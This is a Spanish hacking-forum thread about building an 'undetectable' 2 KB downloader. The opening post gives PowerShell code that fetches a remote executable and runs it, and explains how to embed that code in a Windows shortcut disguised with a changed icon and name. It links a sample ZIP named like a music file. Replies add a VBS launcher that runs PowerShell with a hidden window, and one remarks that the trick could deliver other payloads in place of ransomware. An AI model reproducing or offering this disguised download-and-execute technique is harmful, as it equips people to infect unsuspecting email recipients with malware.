elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Creando un downloader indecetable que ocupa 2 kbytes
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Creando un downloader indecetable que ocupa 2 kbytes  (Leído 7,261 veces)
Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Creando un downloader indecetable que ocupa 2 kbytes
« en: 10 Febrero 2016, 16:01 »

Hola

Hace tiempo que no me paso por mi sección del foro favorita para compartir nuevas ideas... Recientemente ha llegado a mis manos un virus de tipo ramsonware oculto en un fichero zip (por e-mail), curiosamente mi antivirus no detectó la amenaza, así que me puse a destriparlo en mi VM.

El funcionamiento es muy básico, tras ejecutar el fichero que hay en el ZIP, se ejecuta un ejecutable EXE y se inicia la infección de los ficheros. Hasta aquí todo normal, excepto que el fichero ZIP ocupaba 1,26Kb (descomprimido eran 2Kb…) ¿Cómo podía un fichero de 2Kb cifrar de forma eficiente todos los fichero del disco? La respuesta era fácil, ese fichero de 2Kb no era el ramsonware, sino un pequeño fichero (downloader) que se descargaba una copia del EXE (ramsonware) desde internet y luego lo ejecutaba. Todo ello en un ficherito de 2Kb.

Tras mi análisis pude ver el truco, un simple acceso directo al proceso powershell.exe de Windows y una pequeña línea de código añadida como parámetro del propio acceso directo. Sublime!

El código para descargar y ejecutar un fichero desde internet en PowerShell sería el siguiente:

Código
  1. $c=$env:userprofile+'\tmp.exe';
  2. (New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
  3. Start-Process $c

La primera línea define una variable $c con el valor de “C:\Users\usuario_actual\tmp.exe”
La segunda línea crea un nuevo objeto del tipo WebClient y llama a su función DownloadFile, indicando la ruta y el destino ($c)
La tercera línea ejecuta el fichero descargado $c usando Start-Process.

Todo ese código se puede escribir en una sola línea y enviarlo como argumento directamente al proceso powershell.exe usando un acceso directo:





Editando el icono y el nombre podremos disimular el downloader todavía más. Quedando un único fichero de apenas 2Kb completamente funcional.

Os dejo un ejemplo para que entendáis el proceso, es completamente inofensivo. Este acceso directo os descargará y ejecutará el programa ProcessExplorer.exe desde internet

http://www.mediafire.com/download/kj3mtepo8h6zypu/musica.zip

Saludos!!
En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
WIитX


Desconectado Desconectado

Mensajes: 1.024


WINTX


Ver Perfil WWW
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #1 en: 10 Febrero 2016, 16:05 »

Muy bueno  ;-)

La verdad es que está bien pensado por que al pasarlo por correo la gente lo descarga rápidamente al pesar poco pero claro el truco está en el donwloader gracias por compartir y a tener cuidado!
En línea

"Es más divertido hacerse pirata que unirse a la marina." (Steve Jobs)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 957



Ver Perfil WWW
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #2 en: 10 Febrero 2016, 17:48 »

Muy interesante MadAntrax.  :P

En línea

Un byte a la izquierda.
Arnaldo Otegi

Desconectado Desconectado

Mensajes: 160


Q290aWxsYVhEDQo=


Ver Perfil
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #3 en: 11 Febrero 2016, 05:12 »

la verdad que esta bien el truco,porque esto serviria para meter en vez de un ramsomware otra cosa,mui interesante,otra cosilla para probar y que va  para el baul.
saludos y gracias por el aporte.
En línea

Flamer


Desconectado Desconectado

Mensajes: 1.026


crack, crack y mas crack...


Ver Perfil WWW
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #4 en: 16 Febrero 2016, 17:33 »

Esta interesante el tema me gusto

Lo puedo compartir en mi blog

Saludos
En línea

Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #5 en: 15 Marzo 2016, 12:10 »

Esta interesante el tema me gusto

Lo puedo compartir en mi blog

Saludos

Claro!
En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
Flamer


Desconectado Desconectado

Mensajes: 1.026


crack, crack y mas crack...


Ver Perfil WWW
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #6 en: 20 Marzo 2016, 23:00 »

Oye Mad Antrax se supone que los script de powershell vienen des habilitados en windows y como esta eso de que con un acceso directo puedes ejecutar comandos powershell.

He estado travesiando y se pueden ejecutar comandos powershell desde vbs como lo muestro en este codigo

Código
  1. set shell=createobject("wscript.shell")
  2. power="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "
  3. shell.run   power & "&{$bytes = [System.IO.File]::ReadAllBytes('e:\45.png');foreach ($b in $bytes){$code = $code + '==' + $b};[System.IO.File]::WriteAllLines('e:\logger.txt', $code)}",0
  4.  

y desde un acceso directo con esta ruta

Citar
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "&{$bytes = [System.IO.File]::ReadAllBytes('e:\45.png');foreach ($b in $bytes){$code = $code + '==' + $b};[System.IO.File]::WriteAllLines('e:\logger.txt', $code)}"

el codigo anterior lee un archivo binario  .png desde la unidad E:\

saludos Flamer y no entiendo por que des habilitan los script .ps1 si se pueden ejecutar comandos desde otra parte
« Última modificación: 20 Marzo 2016, 23:25 por Flamer » En línea

GUMEGA02

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #7 en: 15 Abril 2016, 00:11 »

tengo una duda!!

Realice una prueba con el codigo

c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c

tengo una duda a que te refieres con tmp.exe seria de gran ayuda que me sacaras de esa duda.

En línea

Flamer


Desconectado Desconectado

Mensajes: 1.026


crack, crack y mas crack...


Ver Perfil WWW
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #8 en: 15 Abril 2016, 04:17 »

tengo una duda!!

Realice una prueba con el codigo

c=$env:userprofile+'\tmp.exe';
(New-Object System.Net.WebClient).Downloadfile('https://live.sysinternals.com/procexp.exe',$c);
Start-Process $c

tengo una duda a que te refieres con tmp.exe seria de gran ayuda que me sacaras de esa duda.


tmp.exe es el nombre que le dio al ejecutable descargado Mad Antrax pero es opcional le puedes poner otro si quieres

saludos Flamer
En línea

lucke

Desconectado Desconectado

Mensajes: 35



Ver Perfil
Re: Creando un downloader indecetable que ocupa 2 kbytes
« Respuesta #9 en: 3 Junio 2016, 01:45 »

Esta técnica la sabía hace años
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
CREANDO UN DOWNLOADER EN PYTHON
Scripting
43H4FH44H45H4CH49H56H45H 2 1,784 Último mensaje 5 Julio 2008, 06:37
por dooque
[EDITADO] Creando downloader de vídeos « 1 2 »
Programación Visual Basic
aaronduran2 11 3,284 Último mensaje 18 Septiembre 2008, 22:39
por seba123neo
Mi PC ocupa el 100% del cpu
Windows
zeroteck 3 2,957 Último mensaje 1 Mayo 2010, 21:37
por AWES0MN
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines